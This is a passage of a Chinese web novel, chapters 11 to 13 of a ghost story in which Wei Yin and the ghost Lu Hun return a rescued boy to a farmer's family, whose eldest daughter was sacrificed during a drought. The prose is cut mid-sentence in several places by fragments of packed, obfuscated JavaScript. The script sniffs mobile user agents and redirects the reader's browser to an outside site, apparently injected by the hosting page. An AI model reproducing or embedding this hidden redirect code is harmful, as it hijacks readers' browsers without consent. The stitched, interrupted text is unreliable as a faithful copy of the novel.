这是一个极其年幼的小娘子,看着根本也就十三四岁,身材瘦小得有些可怜,可唯独那头长发却长得异常地乌黑柔顺,她整张脸都埋在了长发里面,有幽幽的声音从长发里面传出来。 “阿爹,你为什么要把我关在这里,我不想被关在这里,我好怕啊,这里晚上一个人都没有,只能听到好多怪声。” “阿爹,我好饿啊,我想要你做的面汤,阿珠最喜欢阿爹做的面汤了。” “阿爹,阿珠好渴,阿珠想喝水,阿珠的手好痛哦,这些石头怎么这么硬呀。” 也不知道是看见了什么,那乖巧的小姑娘声音马上变得尖锐高亢起来:“啊……有蛇进来了,好大的蛇,它要咬我,救救我阿爹,求你了……!” 然而很快,这尖锐声音又渐渐萎靡下去了。 “阿爹,是不是上次阿珠偷吃了年节给客人吃的麻糖,你才要把阿珠关在这里责罚,阿珠知道错了,阿珠以后再也不会这样不懂事了,会乖乖听话的,阿娘不在了,阿珠会替阿爹好好带弟弟妹妹的,阿爹……” 最后一声阿爹落下,她终于瑟瑟缩缩地从长发里露出一张很稚嫩的小脸,满眼恍惚地往周围巴望起来,而当目光触及到伞下的陆魂身影,像是看到了什么极其可怕的东西似的,浑身都颤栗了起来。 她咬了咬唇,很是不甘地看了他脚下的小男孩一眼后,再次望向整个人几乎都要沉入水底的魏姻,那楚楚可怜的模样徒地变了,变得又怨毒又恶劣。 “你,逃不掉的——” 说完,便猛地将脸埋进膝盖里缩成一团,最后又猛地消失不见。 这古怪的小新娘子一消失,魏姻这边的河水便立刻恢复如常了,然而她这会儿已经筋疲力尽,根本没有力气再往岸上爬,只能勉强扒在岸边不让自己沉下去。 诡异打着竹骨伞的少年,仍旧颔着下巴凝视着小新娘子方才缩坐的墙角,半晌,他似乎才想起了什么,转回头,朝着魏姻一步步走了过来。 他的脚踩在地上,听不到任何声响,甚至鞋履都是干干净净的,没有一丁点泥污粘在上面。 须臾后,魏姻看见自己身前伸来了一只修长、瘦得可见筋骨的,死了很久一样灰白的手。 魏姻颤颤仰抬,目光对上了这个在多年前就已经死去了的同窗陆魂,和他那双,隐在灰绿骨伞下的阴郁眉眼。 这是一双轮廓深沉、极柔和的眼睛,可无论望着谁,却总是带着一股毋论如何也化不开的浓浓悲戚阴郁之色。 “握住我的手。”恍惚中,她听到他用一如生前那样寡闷的声音对她说:“上来。” …… 魏姻回到河岸,抱起小男孩探了探呼吸,他只是昏死了过去,并没有死,她松了口气,这才紧张地往身后看过去。 陆魂正从河中出来缓缓朝她走过来,手里的骨伞依旧撑在头顶没有收起,魏姻眼看他要过来了,忙去扯她之前挂到小男孩脖子上的平安符。 但由于她在水里折腾太久了,手有点脱力了,她一时竟怎么也没力气拿下来。 然而,陆魂已经撑伞来到了她的身前。 魏姻脑子里一瞬间想起了他早在学堂里读书时就对自己心怀不轨的事,她心想这下可完了,慌乱大叫起来:“陆魂你你你要做什么?我祖父可是当朝太傅,我郎君可是状元,我还有圣上赐的平安符!你要想乱来的话,就算你死了也会把你挫骨再扬灰的……” 陆魂没有作声,伞下郁悒的柔和眉眼只是静静地盯着她一边乱叫,一边拼命想拿平安符但又怎么也拿不下来的慌乱模样,然后,他便一如生前那样一声不吭地垂下头去,在魏姻惊讶不已的注视下,伸出没有撑伞的那只手,单手将平安符从小男孩的脖子上解了下来,再默不作声地递到魏姻面前。 魏姻一脸愕然地看着安静躺在他手心里的平安符。 陆魂低低的声音跟着在她耳边响了起来:“这个是圣上冠上宝玉做的平安符,自有帝王之气庇佑,戴在身上一般鬼怪是不敢近身的,以后不要再随意摘下了。” 魏姻怔怔望着他,迟疑几秒后,飞快地将平安符抓了回来。 陆魂缓缓收回手,将骨伞倾了倾,他好像才看到雨早就停了,于是,手上凌空一收,骨伞便神奇地在他手中消失不见了,他又凝了她一眼,而后,抬起脚,转身朝着不远处的黑暗中走去。 魏姻望着他去的方向愣了好一会儿,就在她以为他已经离开时,陆魂又去而复返了。 回来时,他怀里竟还抱着一堆干柴,魏姻瞪大眼睛,十分古怪地望着这个“抱着柴的鬼”,不知道他要做什么,而陆魂仿佛并没有注意到魏姻那古怪盯着他的眼神,只低头将柴堆在她的面前,跟着,竟又从怀里掏出一个火石在那极认真地引着火。 魏姻偷偷观察着他,完全不敢作声,不动声色地将同样浑身湿透的小男孩往自个怀里搂紧了些。 一簇篝火在她面前燃了起来。 “你先把身上的衣裳烤干。” 他说完,看到魏姻依旧畏怯地盯着他看,便一言不发地,转过了身去,背对着她在河边一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那庄稼汉有个邻里,有日起夜,竟然看见庄稼汉几个小儿女的屋里竟然亮着灯,还隐隐听到里面有孩子玩闹的声音,当时邻里还以为是小孩子夜里睡不着起来玩耍,就没有当回事,到了第二日,那邻里刚好碰到了庄稼汉家最小的一个儿子,就问他,你们姐弟几个夜里玩什么呢,笑得那样开心?结果,少夫人您猜那小儿子说什么?” “那小孩子竟然说,那是他们的大姐姐回来带他们在玩呢!” 魏姻眸子一顿,低头望着怀里的小男孩,他难道就是阿珠的弟弟…… 陆魂很低很轻像是没有力气的声音,从她的身后继续飘到耳边:“今年荒州大旱,庄稼人都活不下去,阿珠的阿爹,为了一家人活命,将她关进了石屋,死的时候又饿又渴,还被蛇给咬过吓到过,十个指头也在石屋墙上抠烂了,死前怨毒了她父亲和她家里人,你今夜坏了她的好事,她不会放过你的——” 魏姻听到他这话,抱着小男孩的手不由自主地抖了起来,一时都忘了处境,竟对身后的一个“鬼”问了起来。 “那,那我怎么办?” 然而陆魂却久久没有作声,仿佛已经离去了,魏姻赶紧回头看看,他并没有消失,而是坐在那仍旧保持着一动不动的幽沉姿态,魏姻望一眼头顶高悬的圆月和幽蓝的河岸,只觉得今夜这一切诡异得像是在做梦。 慢慢的,她看见陆魂终于动了:“先送这孩子回去。” 11. 第 11 章 深夜通往河庄的寂静山路上,魏姻走在后面,按着胸口的平安符,满脸复杂地望向抱着孩子走在前面的陆魂,不敢想象,她这大半夜里居然跟着一个鬼在这样的地方走着,她不太想跟他去,但是那小男孩在他的手里,魏姻又不好把小孩丢下不管,只能硬着头皮跟在他的后面。 刚才的河边,离河庄很近,走过一条山路就到了。 魏姻刚开始不时紧张地往四周张望,虽然有月光照着,但四面八方仍旧是青漆漆的一片,还能听见几声不知道是什么东西的叫声,刘嬷嬷跟她说的河庄怪事一瞬间根本不受控制地往脑子里钻,她越看越感到后背发麻,比起这些,她突然觉得跟生前没什么两样的陆魂倒是显得没有那么吓人了,便不敢再乱看了,低头亦步亦趋地跟在陆魂后面走着。 陆魂好像认得这孩子的家,带着她来到河庄,便径自朝着庄里的一处人家走去。 那是一个很普通的庄稼人的小院落,跟河庄这里的任何一个农户都没有什么区别,除了只有他屋里这个时辰还没睡下,仍然点着一盏豆苗大小的油灯。 魏姻走进这个院子,站在前面的陆魂却停下了脚步,他看一眼院子后,将小男孩重新放在脚下一块干净的地上,便直接隐没了身形,然后魏姻就只听到他声音,看不到人了。 “阴阳有分,我不好与生人有太多接触,你去叩门。” 魏姻愣愣瞪了会眼。 没敢说不。 她只得认命去叩门,咚咚叩了几下,没反应,她还以为里面的人已经睡着了,正要继续再敲时,里面歘然间传出哐当一声,像是有什么东西被碰倒了,屋里火光忽然熄灭,原来是烛台倒了,可没一会儿,油灯又很快被人重新点亮了起来。 随之,一道听着像是中年男人略带紧张的声音,站在门后颤颤问。 “是……是谁啊?” 魏姻感觉气氛有些不太对劲,回头望望那地上的孩子,轻声回道:“我是贺府上的人,我方才在河里救了一个七八岁的小郎,不知可是你家的孩子?” 里面的中年男人似乎愣了一下。 而后,缓缓从里面将门打开一些。 站在门后的这个中年庄稼汉,满脸胡茬乱七八糟,深褐色的面容憔悴沧桑,眼下有一圈活像是被人一拳打上去的重重黑色,很久都没有睡过觉一样,因为出来得太急,他手里还拿着一管顾不得放下的土烟。 眼前的这个人,竟然就是魏姻回荒州当日在河庄看到的那个打柴晚归的庄稼汉。 当日陆魂就是出现在他的身边,他却看不到,而被她看到了。 庄稼人看到自家门前独自站着一位极年轻的夫人,愣住了神,暗暗打量了眼她身后清晰的人影,才一副松口气的模样,小心问道:“夫人,你弄错了吧,我家是有个这么大的小儿子,但这会儿还在里间睡觉呢,怎么会跑到河里去……” 魏姻伸手指指地上:“你先看看,是不是孩子贪玩跑出去了。” 庄稼人迟疑着过去抱起小男孩看,当看到面前小男孩的脸时,整个人惊讶不已。 “这确实不是我儿子阿虎……是我弟弟的儿子阿福。” 魏姻也跟着愣住了。 庄稼汉顾不得多说,连忙将孩子抱进屋里去。 可能是动静太大了,睡在里间的孩子被吵醒了,一个和着阿福差不多大的孩子揉着眼睛,睡眼朦胧地从里屋跑了出来,看到阿爹抱着阿福哥走进来,惊讶地瞪大眼睛。 “阿爹,阿福哥怎么在这里呀?” 庄稼汉看到小儿子阿虎出来,神色复杂地变化了一下,赶紧伸手挥他:“你快回去和哥哥姐姐们睡,不许出来!” 阿虎小眼望望阿爹凝重的脸色,又望望走进来的年轻夫人,很不解地皱了皱小眉头,退回里屋。 庄稼汉见小儿子走了,径自将侄儿阿福放在了外间的木床上,应该是这庄稼汉自己平日睡觉的地方。 庄稼汉将这个叫阿福的孩子身上到处摸了摸。 魏姻看庄稼汉神色着急,便道:“这孩子没什么事,就是在河里泡了一会儿,如今昏睡过去了。” 庄稼汉抬起头望着魏姻:“夫人,这究竟是怎么回事,阿福他不是在家中么,怎么会跑到河里去……” 魏姻斟酌道:“我是在花灯街上撞到这个孩子的,他当时手里拿的花灯掉了,我追着他过去,结果就见这个孩子奇奇怪怪地往河庄那条河里走,差点就给自己淹死了。” 闻听此言,庄稼汉原本放松下去的眉头,却再次变得紧蹙起来,面容越发凝重,干裂的嘴唇也用力抖动起来,他自顾自地低下头,声音很低地自言自语着。 “是她,是她回来了……肯定是那孩子回来了……” 魏姻问:“老伯说的,可是被你嫁给河伯的大女儿阿珠?” “夫人怎么晓得阿珠?” 庄稼汉猛然将哆嗦的眼神朝着魏姻看过来,他的脸肉眼可见地变得怆白,好像脑子里在想着什么可怕的东西。 但很快,庄稼汉又猛地拿起土烟用力吸了两口,在吸了两口烟强自镇定下来后,他却刻意回避似的,转了话题:“多谢夫人救了我的侄儿,还请夫人能够稍等片刻,我去庄尾将阿福的父母叫过来。” 庄稼汉刚出门,魏姻看到,陆魂的身影便瞬间出现在了门边,他一言不发地安静倚着,方才好似一直都站在那儿听他们说话,脸低低垂着,让人看不清脸上有什么表情。 陆魂望一眼庄稼汉离开身影,转过头来道:“这个庄稼人姓胡,叫胡大田,妻子早早去世了,留下了两女两男四个孩子,最大的孩子叫阿珠,今年才满十四岁,老二是个男孩,叫阿狼,和老三阿玉是双胞兄妹,都才十二岁,最小的儿子就是阿虎了,要到今年腊月才满八岁,四个孩子全由胡大田一人抚养长大,胡大田还有个弟弟叫胡大力,他是大哥,胡大田对这个弟弟一直很好,平日里侍弄完自己地里的庄稼,还会帮着胡大力弄一弄,有时还会直接拿钱贴补他,为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而,陆魂手一顿,倏地将头抬了起来。 “他们回来了。” 这句话刚说完,魏姻也听到了院子里匆匆的脚步声,胡大田带着一男一女两个身材肥壮的乡下夫妇走了进来,应该就是胡大田的二弟胡大力和他的媳妇了。 夫妇俩顾不上注意魏姻,一进屋便径自朝着木床上的儿子奔去。 “阿福!” 陆魂早在夫妇俩进屋的时候,先一步起开隐身了,胡大力和他的媳妇刘氏毫无所觉,刘氏更是一把从胡大力手里将阿福抢过来搂进怀里:“我的儿啊,你可让娘好一顿找啊,吓死娘了。” 胡大力心情很好地拍拍她的肩膀:“我就知道咱们的阿福是个福大命大的孩子吧,一定会没事的。” “没事?!”刘氏脸说变就变,上一秒还满脸的鼻涕眼泪,下一秒粗鲁的一口唾沫就啐在了胡大力的脸上:“你个死人,让你带着儿子去看花灯,你却光顾着跟些小娼妇调情给他弄丢了还好意思说,老娘可告诉你,我儿子要是真有个好歹,我非将你那狗玩意剪了让你自己吃下去不可!” 12. 第 12 章 胡大力天生满脸的麻子,长得奇丑瘦小,不似哥哥胡大田那般长得身强体壮,五大三粗的,又好吃懒做,人都叫他胡麻子,三十多岁才好不容易找了个克死丈夫的媳妇,虽蛮横泼辣,但也不敢还嘴,只得讪讪赔笑着:“说什么呢,大哥还在这看着呢。” 这刘氏委实是个粗俗不堪的,胡大田在一旁听得耳根子发热,他虽是个庄稼人,但也知道一点礼数,看着刘氏在外人面前说话如此没遮没拦,他终于忍不住了,拿出了做大哥的威严派头训斥刘氏:“有客人在这,要吵你们两口子回去吵。” 刘氏望着板起脸的胡大田,心里到底还是有些怵这个大哥,不敢再指着胡大力骂骂咧咧了。 胡大田对刘氏道:“弟妇,这次多亏了这位夫人救了阿福,不然阿福恐怕就没了,你们两口子还不快给夫人叩两个头。” 刘氏这才注意到魏姻,魏姻今日夜里出门时只随意穿了套衣裙出来,折腾了一晚上后,发髻凌乱,衣裳也皱巴巴的,还有些地方东一块西一块沾上了不少泥灰,狼狈得很,却不掩娇媚姿容,转头见丈夫一脸痴样地偷偷拿眼瞧着,她刻薄的怨气又上来了。 “大哥。”刘氏说:“你是晓得的,大力他虽说有些不着调,但我家阿福可是个再听话不过的孩子,他跟着大力好端端地在街上看花灯,怎么会不见了呢?” 顿了一下,刘氏瞪向魏姻:“依我看哪,十成怕是有人生不出儿子,见着我家阿福乖巧伶俐,以后是个出息的,就将阿福给拐走了,害得我家阿福差点淹死了,怕出人命,才假借救人将孩子又送了回来,如今竟还敢上门来讨谢,大哥,不如捆了这个女子,交给官府,让她夫家看看她到底是个什么恶毒心肠!” 魏姻人都听傻了,她还是第一次见这么蛮不讲理的妇人。 胡大田听着刘氏毫无自知之明的瞎话,脸涨红了起来。 河庄里谁不知道,他这个侄儿阿福平日里被惯得无法无天,见着长辈都是满嘴从刘氏那学来的污言秽语,五六岁开蒙去了学塾念书,结果愣是到现在也写不好自己的名字。 刘氏仿若不觉,一副自觉有理的嘴脸:“大哥,你可不要糊涂了,被这女子给骗了,你赶快和大力将她绑起来,明儿天一亮咱们就送去官府,到时候她夫家自然理亏,说不准还会赔咱们一些钱呢。” 她又给了胡大力一个眼色。 胡大力想着媳妇的话,颇觉这是个不错的便宜,立马附和道:“大哥,阿福她娘说的对,阿福可是我的命根子,我就算是再不成器,也不至于给孩子丢了,我想起来了!我好像在街上看到过这个女子,她还老拿眼珠子往我家阿福身上偷偷觑呢,如今想来,怕正是打了这个主意。” “这么说是真的了?”刘氏这下满脸自豪:“你这死人怎么也不知道早点说,若不是我醒事,还不得被人给骗了!” “够了。”胡大田厉喝一声:“大力,不要让你媳妇在这丢人现眼了,这位夫人是贺府上的人,谁会要你们的阿福?” “贺府?哪个贺府?”刘氏一愣。 “荒州城还有哪个贺府?” “不会就是状元郎府上吧……” 刘氏整个人吓得脸都白了,这会儿才仔细注意到魏姻身上的衣着虽狼狈,但那料子都是极好的,便是一般的大户人家都难有。 贺家是荒州的大家族,世代出过不少做官的,现在这贺家的大公子,是前几年圣人刚点的新科状元,如今又在京城为官,就算知州大人见了贺家的老太爷,都得自称晚辈,面前这女子若还是贺府上的什么红人…… 她想到刚才自己说的那些话,顿时后悔得想要咬断舌头。 胡大力吓得,这下连看都不敢再乱看了,直往大哥胡大田的身后躲去,一边没好气地怒骂起刘氏:“都是你这死婆娘在胡说八道,我可跟你说,若是贺府追究起来,你自己去请罪,可别连累了我和阿福!” 刘氏恨不得一口咬死胡大力这个孬种丈夫。 胡大田望着躲在自己身后,软骨头的弟弟,叹了口气,满脸无可奈何地摆摆手:“你们都闭嘴,大力去请个郎中来给阿福看看,弟妇你去灶房给阿福和这位夫人先煮一碗姜汤驱寒。” 等到这夫妇俩都出去忙活了,胡大田身心疲惫地揉了揉脸,跟魏姻赔礼,又要去给魏姻烧水泡茶,魏姻赶紧阻止。 胡大田满腹惭愧,于是踮起脚,在靠墙的一个旧得都有些摇摇晃晃的大斗柜顶上翻找起来,不一会儿,就摸出来了一盒装着吃食的匣盒子,他捧着盒子递到魏姻的面前。 “夫人救了我家阿福,却受了如此唐突,家里也没什么招待夫人的了,只有一些备着年节的麻糖……” 这是一种做的很粗糙的零嘴,就是一块粗面饼子加了些蜜糖,外面一层再撒上一些芝麻。 对于贫家来说,却是难得的吃食。 胡大田正想让魏姻尝尝,听到背后再次传来了小儿子的声音:“阿爹。” 阿虎推开了门,往这里瞧,胡大田皱眉:“你怎么还不去睡?” 阿虎看看一旁的魏姻,最后才小声巴巴地对胡大田说道:“阿虎实在睡不着了,想看看阿姐会不会来陪我玩,对了阿爹,你前天晚上为什么要在院子里骂阿姐,不让她来找我们玩呢?要是阿姐听到了,会难过的。” 胡大田脸色骤变,手里的糖盒差点拿不稳跌出去,好在他端住了。 他意识到身旁还站着外人,反应过来,连忙严声斥责阿虎:“不要乱说,回去睡。” 又转向魏姻,解释道:“夫人,这孩子睡糊涂了,你不要理会他的话。” 胡大田脸上的欲盖弥彰,尽数落到了魏姻眼里,这时,她听到陆魂那少年的声音在耳边提醒:“天快亮了,我们得走了。” 魏姻走后,屋子里只剩下父子二人,阿虎鼓着一双眼睛,小心翼翼地瞅着阿爹,怕再说错了话。 胡大田叹口气,摸摸阿虎的脑袋,语重心长地嘱咐道:“乖阿虎,阿珠已经不在了……以后可千万不能在外面乱提了知道吗?” 阿虎年纪太小,还不怎么晓事:“阿姐还在呀,那天夜里她不是还来跟我和二姐二哥玩么。” “反正就是不许再提了!再让阿爹听到,阿爹就要打你了。”胡大田烦躁得很。 阿虎害怕地缩起脖子,不敢再多问了,赶紧跑回里屋去。 胡大田则一个人在床边坐下,又拿起土烟抽了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615266|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 烟雾升起,他的眼前也浮现出了自阿珠死后,家中发生的各种奇怪现象,不是睡着睡着听到窗外有哭声,就是孩子们的房里传来古怪动静,可他每次过去看,阿虎他们姐弟都安静睡着,并无什么人。 刚开始他没有当回事,只以为是自己多心了。 可直到听阿虎说,有一夜阿珠回来陪他们玩,他才猜测怕是死了的阿珠回来弄鬼了…… 他这些天一直提心吊胆守着阿虎他们,生怕阿珠再回来做些什么事,可没想到,她却盯上了阿福…… 胡大田痛苦地盯着门外朦胧渐亮的天,阿珠是他最懂事的孩子,帮着他操持一家,照料弟弟妹妹,但凡有个办法,能活得下去,他也不可能将女儿嫁给河伯求雨。 可他真的没办法啊…… 他不能眼睁睁看着一家人都死在这个旱年呀! 刘氏端着煮好的姜汤进来,见胡大田一个人蹲在床边吸闷烟,她皱了皱眉:“大哥,你怎么了?那位夫人呢?” “她走了。”胡大田声音很闷。 “怎走的这样快,我还想亲自送她回贺府呢,这可是个跟贺家说上话的好机会……”她惋惜道。 “你快别算计这种乱七八糟的事了,先想想你儿子吧!”胡大田遽地抬起脸:“那位夫人说,阿福他是自己走到石屋前的那条河里想要淹死自己的,你知道吗?” 刘氏手里的姜汤哐当摔在地上,一张脸瞬间变得惨白无比:“什……什么?” 当时胡大田去找他们两口子来的时候,一时情急并没有说清楚,只道阿福落了水。 胡大田心乱如麻:“之前阿珠回家闹腾阿虎他们那件事你也晓得的,我怕……阿福这事也是阿珠她做的……” “哎哟这!”刘氏忙拉住胡大田:“阿珠这是要来报复咱们一家啊,大哥,这可怎么办,你快想想办法呀,不能让阿福被她给害了!这小妮子怎么这么心狠手辣呢,连自己这么小的堂弟都不放过……” 胡大田捂住脸:“也不怪她,是我害的她,她恨我,取我的命就是,可为什么要盯上阿虎他们……” 刘氏盯着胡大田这个样子,急得在屋子里踱来踱去,地上摔碎的姜汤碗她也顾不得理会,过了一会儿,她那双不大的三角眼突然一亮:“大哥,这样下去阿福阿虎他们迟早要被她害死的,你听我的,去请个高人来收了她!” 胡大田不敢置信,怒骂道:“你胡说什么?!阿珠她只是个孩子,再说若不是阿珠求来了雨,你和阿福早就饿死了,你要是敢害她,就不要认我这个大哥了,以后也别想要我贴补你们一家了!” 刘氏闻言,不敢再说,可嘴却不满地撅了起来。 “行了,你放心,阿珠恨的是我这个做爹的,最多让她来拿我和阿虎他们的命就是,绝不会让阿福出事。”胡大田挥挥手,讳莫如深嘱咐她:“阿珠这事你和大力千万不许说出去,让庄里人知道还不知道传咱们家。” 刘氏才没话说,又劝:“大哥也别怨自己了,若不是求来了雨,咱们胡家几口人谁能活得下来?要怪就怪今年这天实在怪,竟比往年凶得多,听说那旱的最厉害的地儿,早就有饿死的呢,不是我说,什么比得过活命要紧?” 13. 第 13 章 鸡鸣声叫过一次后,床上的贺文卿便睁开了眼睛醒来,他刚开始还没有意识到这是在西院的喜房里,合衣坐起身来时,才反应过来睡在他身侧的不是妻子魏姻,而是表妹陈宣华。 在他睁开眼后,陈宣华也很快醒来,她垂着眼眸小心打量着坐起来的男人。 “表哥……” “醒了?”贺文卿问:“身上可还疼着?” 陈宣华见他如此问得直白,虽经历了人事,但还是羞红了脸,羞得忍不住还咳了两声。 贺文卿看她羞涩的模样,知道她脸皮子薄,便不再继续说下去了,让她再睡会,叫丫鬟进来服侍他洗漱。 终于与心心念念的心上人做成了夫妻,陈宣华哪舍得再贪睡,忙跟着起来,从丫鬟手里接过他的腰带,亲自替他穿着。 她手握住腰带,却又猛地回想起昨晚他教自己解他腰带那事,弄得脸又暗暗晕红了一大片。 贺文卿睨着低头替他系腰带的陈宣华,颇有些不太习惯,魏姻可不似她这样体贴,别说伺候郎君了,反而还常因着太早起不来,喜欢娇声哄着他给她穿戴衣裙,不过,虽骄纵了些,但那模倒也不失几分可爱。 记得昨日迎亲回西院的时候,还瞧见过她,似乎对他尚有几分怨气。 可如今事已成舟,她再有怨气怕也已经想明白了吧? 于是,贺文卿出声道:“宣华,晚些时候我带你去给姻儿请安,今日是你第一日以我房里人身份见她,她怕是对你还有些怨气,不过你若态度恭顺些,跟她多说些好话哄着,她这人向来是好说话的,不会再与你计较。” “多谢表哥。”陈宣华一一记下,“宣华会敬重表嫂的。” 贺文卿很满意陈宣华这份得体大方,丫鬟端来水盆洗漱,他转身走了两步,想起什么,又回身轻声笑起。 “还叫表哥表嫂,宣华?该改口了。” 陈宣华抬头直视贺文卿,他身姿挺立,眼眉清俊,她立刻按下内心的悸动,颤颤应道:“是……郎君。” 贺文卿点头,吩咐房外的丫鬟:“去看看少夫人起身了没有。” 然而不一会儿,丫鬟便去而又返了:“公子,少夫人不在房里。” 贺文卿一愣:“她今日这么早就起身了么?” 丫鬟摇摇头:“奴婢问过刘嬷嬷和房里的丫鬟,昨夜前院太忙,大家都睡得沉些,也不知少夫人何时起的身,府里也没找着,不知可是一大早就出去了。” 贺文卿立即皱拢了眉,推开陈宣华递来的擦脸帕子,“我去看看。” …… 魏姻此刻却才刚从胡大田家里出来,夏日里天亮得太早,不到卯时,明亮的日光就照亮了脚下的路。 陆魂虽不怕平安符和火,但似乎还是惧怕日光的,在天亮起来的前一刻,便又打起了他昨夜里拿的那把青色的竹骨纸伞,他整张脸都沉默地遮隐在了伞下面。 时辰还早得很,路上并没有什么人影,陆魂也就没有隐住身形。 路过石屋的时候,魏姻颤颤巍巍看了一眼河水,此时的河面平静祥和,河的远处是一大片笼罩在薄雾下的远山连绵,噪鹃啁啾,完全看不出昨夜居然发生了恐怖的事。 她停了停脚步,回头朝陆魂身上瞄了下,出了胡家,这才把憋了好久的话抖了出来。 “我看那个胡大田有些不太对劲,我昨夜去叩门的时候,他很紧张的样子,连烛台都打翻了,之前我听人说,他家里不太平,说阿珠回去过,难道他昨晚以为是阿珠又来了吗……?” 陆魂嗯了一声:“胡家确有一股很重的怨气。” 魏姻啊了声:“那阿珠昨夜不会也在吧?” 她惊吓的样子,让陆魂略微抬起了脸:“你放心,我在那,她暂且还不敢回去。” 陆魂始终跟魏姻远着一臂距离,他跟生前一样,仍不太喜欢跟人接触、说话,除了昨夜他伸手将她从河里拉上来那次,从始至终都与她拉开一段距离。 他看着,似乎跟阿珠那只鬼并没有什么不一样,都是横死的,但为什么,阿珠对他却一副心有忌惮的模样? 而且,她的平安符对阿珠应该是有些作用的,不然她救不下阿福,可陆魂却可以轻易地将平安符拿来拿去。 想起前些天菩萨庙里发生的那些怪事,还有昨夜他在阿珠手里救下她的事,又不像是要她命的样子,魏姻一时摸不准,他到底想干什么。 少年心思难测。 少年鬼的心思更难测。 魏姻不敢再说别的了,安静闭上嘴。 陆魂则独自垂眸寡默了一会儿,才静静开口:“‘人死为鬼,鬼死为聻,聻死为希,希死为夷,夷死为微’,人死后,其实不是人人都能变成鬼的,只有刚好死在凶地吉地,或葬到凶穴吉穴上,或葬地有宝物、或死在煞日,或下葬时日不对等等,才会有可能借势成鬼。那阿珠死在石屋里,石屋正好冲着河水,机缘巧合之下形成了特殊的水煞局,因此她才能借势成鬼,但因年数不久,她如今还只是鬼,并未成聻,力量也只比常人略大些许而已,所以它们只能利用鬼气与活人接触,缠得活人病衰而死,但这需要数年才行,再不然,就像你昨夜里所见到的那样,以鬼术蒙你双眼,吓破你的心胆,让你身上的人火灭掉,让你以为看见了有东西拖你溺水,所以阿珠虽想缠着阿虎他们报复她爹,但因胡大田的心胆比常人要壮,他守着阿虎他们,让阿珠一时不好下手,才去找了阿福。” 魏姻惊讶地听着。 “这么说,昨夜里其实并无什么漩涡拖我入水,而是我被阿珠吓到了,自己出现了幻觉,其实是我自己在往水底……?” “嗯。”陆魂继续说:“你的平安符是圣上所赐,当今圣上一生励精图治,曾经又多次征战北虏安邦定国,身上有杀气也有功德,所以能够屏除一般的鬼术,让鬼也不敢近身,你昨夜救了阿福,想来阿珠已经对你生了怨,所以你最好一直戴着,连……” 说到这,声音又忽然生生止住了。 “连什么?” 她支起耳朵正听得起劲,却不见他说下去。 魏姻好奇回头,就见他站在后面不动了,不知道怎么了,有伞挡着脸也看不到他的神情,她于是想也不想地弯下腰,仰头朝他遮在伞下的脸看去。 这个过分苍白的少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615267|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼的俊脸上,微微泛红,似在斟酌着什么。 “连沐身的时候……也别取下来。” 猝不及防她这样弯腰看他,少年清秀眉眼微怔,然后猛地将伞重重往下一倾,遮住了脸。 ? 魏姻好一阵,莫名其妙。 这鬼,还是跟生前一样的古怪。 不知不觉间,已经走到了贺府大门前,魏姻看着门前的那两个铜环,差点眼泪都要出来了。 “记住我方才说的话。”陆魂目光也跟着她一样落在贺府门上,默然片刻,才道:“进去吧。” 魏姻回头看他,晨曦还未出来,薄白的日光照在他的伞上,她看不到他伞下的脸,但隐约能感觉到他那阴郁的目光似在看着她,魏姻望着望着,眼前撑伞的十六岁少年消失不见,变成了那个常每日都很早来到学堂,坐在书案前,一边低头翻着书,一边啃着冷馍凉水的年幼学生。 陆魂十六岁中举,前途无量,可他却在中举那晚放火烧了菩萨庙,又把自己吊死在里面。 大家都说他得了疯病,或者是被菩萨庙里的鬼怪给迷了心。 可他看着完全不像是疯癫的模样…… 那当年,他究竟为什么想不开? 恰在此时,贺府闭合的大门吱嘎着从里面被人推开。 开门的不是别人,正是出来寻魏姻的贺文卿,洞房过后,他将昨日的绯红新郎喜服已经换了下来,头上红玉冠也换成了平常的冠束。 看到魏姻就站在门口,贺文卿怔住:“你大早上去了哪儿,怎么独自出门了,我方才在府里找你许久……你身上怎么了?” 他很快注意到了她狼狈一身。 魏姻望了望自己,皱巴巴又沾泥的衣裳和鞋袜,没有料到贺文卿会突然出现,颇有些猝不及防,她偷偷用余光瞄了眼陆魂,不知该如何跟他提昨夜的那些诡异的事,即使说了,贺文卿恐怕还是不会信,他们夫妇向来就不是能和对方说得上话的人,于是扯了个借口:“本想出去走走,不成想摔在了泥坑里……” 贺文卿皱眉,下意识想将那句“你是贺家长媳,要知道自己身份,怎能随意出门”的话说出来,但想到她这几日都不高兴,便忍耐了下去。 然后,将自己身上的外袍解下来,轻轻披在她身上。 “你日后出门,要带两个人。” “晓得了,郎君。” 贺文卿这才注意到,魏姻的身后还站着一个极年轻的人,对方的身量几乎和他的差不多,可奇怪的是,此刻无雨无日头,他却撑着一把灰青青的伞,远远望着,便隐隐感到几分无来由的阴冷。 这年轻人,竟是和魏姻一起回来的,贺文卿眼睛微眯。 “这是?你们……” 陆魂不为所动,依旧站在那。 